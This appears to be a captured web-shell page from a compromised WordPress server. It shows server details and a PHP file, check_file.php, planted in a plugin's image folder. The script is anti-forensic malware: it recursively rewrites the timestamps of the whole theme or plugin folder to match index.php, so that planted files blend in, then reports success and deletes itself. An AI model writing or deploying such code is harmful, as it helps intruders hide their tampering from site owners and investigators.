HEX
Server: Apache/2.4.59 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System: Linux panel.ctvbarranquilla.com 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
User: bastidas (1002)
PHP: 8.2.18
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
Upload Files
File: /home/bastidas/web/bastidas.tv/public_html/wp-content/plugins/personizely/assets/img/check_file.php
<?php

function updateFileDates($dir, $timestamp) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        
        $path = $dir . '/' . $item;
        touch($path, $timestamp);
        
        if (is_dir($path)) {
            updateFileDates($path, $timestamp);
        }
    }
}

function extractFirstPathSegment($path) {
    $path = trim(str_replace(str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"]), '', $path));
    $path = str_replace("/wp-content/themes/", "", $path);
    $path = str_replace("/wp-content/plugins/", "", $path);

    $folders = explode('/', $path);
    return !empty($folders[0]) ? $folders[0] : '';
}

function getPathFolder($file_path) {
    $folderName = extractFirstPathSegment($file_path);
    if (!empty($folderName)) {
        $themePath = str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"]) . "/wp-content/themes/" . $folderName;
        if (is_dir($themePath)) {
            return $themePath;
        }
        
        $pluginPath = str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"]) . "/wp-content/plugins/" . $folderName;
        if (is_dir($pluginPath)) {
            return $pluginPath;
        }
    }
    return '';
}

$self_file = str_replace('\\', '/', __FILE__);
$index_root_path = str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"] . "/index.php");
$reference_timestamp = filemtime($index_root_path);
$directory = getPathFolder($self_file);

if (!empty($directory)) {
    touch($directory, $reference_timestamp);
    updateFileDates($directory, $reference_timestamp);
}

echo "STATUS|OK";
unlink(__FILE__);